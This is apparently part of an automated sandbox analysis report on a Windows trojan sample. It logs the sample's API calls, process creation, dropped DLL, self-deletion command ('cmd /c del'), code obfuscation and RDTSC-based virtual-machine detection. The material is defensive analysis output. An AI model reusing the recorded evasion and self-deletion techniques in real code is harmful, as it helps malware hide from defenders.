Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F99A0 NtCreateSection,LdrInitializeThunk, 3_2_009F99A0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F9910 NtAdjustPrivilegesToken,LdrInitializeThunk, 3_2_009F9910
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F9A00 NtProtectVirtualMemory,LdrInitializeThunk, 3_2_009F9A00
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F9A20 NtResumeThread,LdrInitializeThunk, 3_2_009F9A20
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F9A50 NtCreateFile,LdrInitializeThunk, 3_2_009F9A50
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F95D0 NtClose,LdrInitializeThunk, 3_2_009F95D0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F9540 NtReadFile,LdrInitializeThunk, 3_2_009F9540
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F96E0 NtFreeVirtualMemory,LdrInitializeThunk, 3_2_009F96E0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F9660 NtAllocateVirtualMemory,LdrInitializeThunk, 3_2_009F9660
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F9780 NtMapViewOfSection,LdrInitializeThunk, 3_2_009F9780
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F97A0 NtUnmapViewOfSection,LdrInitializeThunk, 3_2_009F97A0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F9710 NtQueryInformationToken,LdrInitializeThunk, 3_2_009F9710
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F98A0 NtWriteVirtualMemory, 3_2_009F98A0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F9820 NtEnumerateKey, 3_2_009F9820
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009FB040 NtSuspendThread, 3_2_009FB040
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F99D0 NtCreateProcessEx, 3_2_009F99D0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F9950 NtQueueApcThread, 3_2_009F9950
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F9A80 NtOpenDirectoryObject, 3_2_009F9A80
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F9A10 NtQuerySection, 3_2_009F9A10
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009FA3B0 NtGetContextThread, 3_2_009FA3B0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F9B00 NtSetValueKey, 3_2_009F9B00
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F95F0 NtQueryInformationFile, 3_2_009F95F0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009FAD30 NtSetContextThread, 3_2_009FAD30
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F9520 NtWaitForSingleObject, 3_2_009F9520
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F9560 NtWriteFile, 3_2_009F9560
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F96D0 NtCreateKey, 3_2_009F96D0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F9610 NtEnumerateValueKey, 3_2_009F9610
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F9650 NtQueryValueKey, 3_2_009F9650
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F9670 NtQueryInformationProcess, 3_2_009F9670
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F9FE0 NtCreateMutant, 3_2_009F9FE0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009FA710 NtOpenProcessToken, 3_2_009FA710
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F9730 NtQueryVirtualMemory, 3_2_009F9730
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F9770 NtSetInformationFile, 3_2_009F9770
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009FA770 NtOpenThread, 3_2_009FA770
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F9760 NtOpenProcess, 3_2_009F9760
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_1_0041A350 NtCreateFile, 3_1_0041A350
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_1_0041A400 NtReadFile, 3_1_0041A400
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_1_0041A480 NtClose, 3_1_0041A480
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_1_0041A530 NtAllocateVirtualMemory, 3_1_0041A530
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_1_0041A3FC NtReadFile, 3_1_0041A3FC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05049910 NtAdjustPrivilegesToken,LdrInitializeThunk, 9_2_05049910
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05049540 NtReadFile,LdrInitializeThunk, 9_2_05049540
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050499A0 NtCreateSection,LdrInitializeThunk, 9_2_050499A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050495D0 NtClose,LdrInitializeThunk, 9_2_050495D0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05049840 NtDelayExecution,LdrInitializeThunk, 9_2_05049840
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05049860 NtQuerySystemInformation,LdrInitializeThunk, 9_2_05049860
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05049710 NtQueryInformationToken,LdrInitializeThunk, 9_2_05049710
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05049780 NtMapViewOfSection,LdrInitializeThunk, 9_2_05049780
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05049FE0 NtCreateMutant,LdrInitializeThunk, 9_2_05049FE0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05049650 NtQueryValueKey,LdrInitializeThunk, 9_2_05049650
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05049A50 NtCreateFile,LdrInitializeThunk, 9_2_05049A50
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05049660 NtAllocateVirtualMemory,LdrInitializeThunk, 9_2_05049660
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050496D0 NtCreateKey,LdrInitializeThunk, 9_2_050496D0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050496E0 NtFreeVirtualMemory,LdrInitializeThunk, 9_2_050496E0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05049520 NtWaitForSingleObject, 9_2_05049520
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0504AD30 NtSetContextThread, 9_2_0504AD30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05049950 NtQueueApcThread, 9_2_05049950
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05049560 NtWriteFile, 9_2_05049560
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050499D0 NtCreateProcessEx, 9_2_050499D0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050495F0 NtQueryInformationFile, 9_2_050495F0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05049820 NtEnumerateKey, 9_2_05049820
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0504B040 NtSuspendThread, 9_2_0504B040
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050498A0 NtWriteVirtualMemory, 9_2_050498A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050498F0 NtReadVirtualMemory, 9_2_050498F0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05049B00 NtSetValueKey, 9_2_05049B00
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0504A710 NtOpenProcessToken, 9_2_0504A710
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05049730 NtQueryVirtualMemory, 9_2_05049730
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05049760 NtOpenProcess, 9_2_05049760
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05049770 NtSetInformationFile, 9_2_05049770
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0504A770 NtOpenThread, 9_2_0504A770
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050497A0 NtUnmapViewOfSection, 9_2_050497A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0504A3B0 NtGetContextThread, 9_2_0504A3B0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05049A00 NtProtectVirtualMemory, 9_2_05049A00
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05049610 NtEnumerateValueKey, 9_2_05049610
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05049A10 NtQuerySection, 9_2_05049A10
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05049A20 NtResumeThread, 9_2_05049A20
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05049670 NtQueryInformationProcess, 9_2_05049670
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05049A80 NtOpenDirectoryObject, 9_2_05049A80
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00D9A350 NtCreateFile, 9_2_00D9A350
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00D9A480 NtClose, 9_2_00D9A480
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00D9A400 NtReadFile, 9_2_00D9A400
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00D9A530 NtAllocateVirtualMemory, 9_2_00D9A530
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00D9A3FC NtReadFile, 9_2_00D9A3FC
Sample file is different than original file name gathered from version info
Source: ff0231.exe, 00000000.00000003.671678874.0000000002A76000.00000004.00000001.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs ff0231.exe
Source: ff0231.exe, 00000000.00000003.671897973.0000000002C0F000.00000004.00000001.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs ff0231.exe
Source: ff0231.exe, 00000003.00000002.731312035.0000000000AAF000.00000040.00000001.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs ff0231.exe
Source: ff0231.exe, 00000003.00000002.731697388.0000000000D99000.00000040.00020000.sdmp Binary or memory string: OriginalFilenameRUNDLL32.EXEj% vs ff0231.exe
Source: ff0231.exe, 00000003.00000002.731474525.0000000000C3F000.00000040.00000001.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs ff0231.exe
Source: ff0231.exe Virustotal: Detection: 33%
Source: C:\Users\user\Desktop\ff0231.exe File read: C:\Users\user\Desktop\ff0231.exe Jump to behavior
Source: ff0231.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\ff0231.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\ff0231.exe "C:\Users\user\Desktop\ff0231.exe"
Source: C:\Users\user\Desktop\ff0231.exe Process created: C:\Users\user\Desktop\ff0231.exe "C:\Users\user\Desktop\ff0231.exe"
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\ff0231.exe"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\Desktop\ff0231.exe Process created: C:\Users\user\Desktop\ff0231.exe "C:\Users\user\Desktop\ff0231.exe" Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\ff0231.exe" Jump to behavior
Source: C:\Users\user\Desktop\ff0231.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32 Jump to behavior
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000019.db Jump to behavior
Source: C:\Users\user\Desktop\ff0231.exe File created: C:\Users\user\AppData\Local\Temp\nstCF7B.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.evad.winEXE@8/2@7/5
Source: C:\Users\user\Desktop\ff0231.exe Code function: 0_2_00402012 CoCreateInstance,MultiByteToWideChar, 0_2_00402012
Source: C:\Users\user\Desktop\ff0231.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\ff0231.exe Code function: 0_2_0040411B GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA, 0_2_0040411B
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6068:120:WilError_01
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: Binary string: wntdll.pdbUGP source: ff0231.exe, 00000000.00000003.671729748.0000000002AF0000.00000004.00000001.sdmp, ff0231.exe, 00000000.00000003.672459058.0000000002960000.00000004.00000001.sdmp, ff0231.exe, 00000003.00000002.731062351.0000000000990000.00000040.00000001.sdmp, ff0231.exe, 00000003.00000002.731312035.0000000000AAF000.00000040.00000001.sdmp, rundll32.exe, 00000009.00000002.1196453197.00000000050FF000.00000040.00000001.sdmp, rundll32.exe, 00000009.00000002.1196239529.0000000004FE0000.00000040.00000001.sdmp
Source: Binary string: wntdll.pdb source: ff0231.exe, ff0231.exe, 00000003.00000002.731062351.0000000000990000.00000040.00000001.sdmp, ff0231.exe, 00000003.00000002.731312035.0000000000AAF000.00000040.00000001.sdmp, rundll32.exe, rundll32.exe, 00000009.00000002.1196453197.00000000050FF000.00000040.00000001.sdmp, rundll32.exe, 00000009.00000002.1196239529.0000000004FE0000.00000040.00000001.sdmp
Source: Binary string: rundll32.pdb source: ff0231.exe, 00000003.00000002.731688712.0000000000D90000.00000040.00020000.sdmp
Source: Binary string: rundll32.pdbGCTL source: ff0231.exe, 00000003.00000002.731688712.0000000000D90000.00000040.00020000.sdmp

Data Obfuscation:

barindex
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\ff0231.exe Code function: 0_2_10009595 push ecx; ret 0_2_100095A8
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_0041704C push ecx; retf 3_2_00417049
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00417029 push ecx; retf 3_2_00417049
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00416944 push ecx; iretd 3_2_00416945
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_0041C228 push es; ret 3_2_0041C229
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_0040E3EA push esi; ret 3_2_0040E425
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00409B99 push edx; ret 3_2_00409BA0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00409B99 push edx; ret 3_2_00409BA0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_0041D4F2 push eax; ret 3_2_0041D4F8
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_0041D4FB push eax; ret 3_2_0041D562
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_004164FF push ss; ret 3_2_00416506
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_0041D4A5 push eax; ret 3_2_0041D4F8
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_0041D55C push eax; ret 3_2_0041D562
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_004176B5 pushfd ; iretd 3_2_004176B6
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00416FDB push ecx; retf 3_2_00417049
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00416FE0 push ecx; retf 3_2_00417049
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A0D0D1 push ecx; ret 3_2_00A0D0E4
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_1_0041704C push ecx; retf 3_1_00417049
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_1_00417029 push ecx; retf 3_1_00417049
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_1_00416944 push ecx; iretd 3_1_00416945
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_1_0041C228 push es; ret 3_1_0041C229
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_1_0040E3EA push esi; ret 3_1_0040E425
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_1_00409B99 push edx; ret 3_1_00409BA0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_1_00409B99 push edx; ret 3_1_00409BA0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_1_0041D4F2 push eax; ret 3_1_0041D4F8
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_1_0041D4FB push eax; ret 3_1_0041D562
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_1_004164FF push ss; ret 3_1_00416506
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_1_0041D4A5 push eax; ret 3_1_0041D4F8
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_1_0041D55C push eax; ret 3_1_0041D562
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0505D0D1 push ecx; ret 9_2_0505D0E4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00D9704C push ecx; retf 9_2_00D97049
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\ff0231.exe Code function: 0_2_00405C49 GetModuleHandleA,LoadLibraryA,GetProcAddress, 0_2_00405C49

Persistence and Installation Behavior:

barindex
Drops PE files
Source: C:\Users\user\Desktop\ff0231.exe File created: C:\Users\user\AppData\Local\Temp\nsoCFAB.tmp\xavjqrgsngv.dll Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

barindex
Self deletion via cmd delete
Source: C:\Windows\SysWOW64\rundll32.exe Process created: /c del "C:\Users\user\Desktop\ff0231.exe"
Source: C:\Windows\SysWOW64\rundll32.exe Process created: /c del "C:\Users\user\Desktop\ff0231.exe" Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Windows\explorer.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Users\user\Desktop\ff0231.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\ff0231.exe RDTSC instruction interceptor: First address: 0000000000409904 second address: 000000000040990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ff0231.exe RDTSC instruction interceptor: First address: 0000000000409B6E second address: 0000000000409B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\rundll32.exe RDTSC instruction interceptor: First address: 0000000000D89904 second address: 0000000000D8990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\rundll32.exe RDTSC instruction interceptor: First address: 0000000000D89B6E second address: 0000000000D89B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe Last function: Thread delayed
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00409AA0 rdtsc 3_2_00409AA0
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\explorer.exe Window / User API: foregroundWindowGot 700 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: foregroundWindowGot 638 Jump to behavior
Contains capabilities to detect virtual machines
Source: C:\Windows\explorer.exe File opened / queried: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#5&1ec51bf7&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b} Jump to behavior
Source: C:\Users\user\Desktop\ff0231.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\Desktop\ff0231.exe Code function: 0_2_00405250 DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA, 0_2_00405250
Source: C:\Users\user\Desktop\ff0231.exe Code function: 0_2_00405C22 FindFirstFileA,FindClose, 0_2_00405C22
Source: C:\Users\user\Desktop\ff0231.exe Code function: 0_2_00402630 FindFirstFileA, 0_2_00402630
Source: explorer.exe, 00000010.00000003.872436336.0000000006382000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Microsoft.Windows.ContenBh-
Source: explorer.exe, 00000010.00000003.877175490.000000000D238000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}s
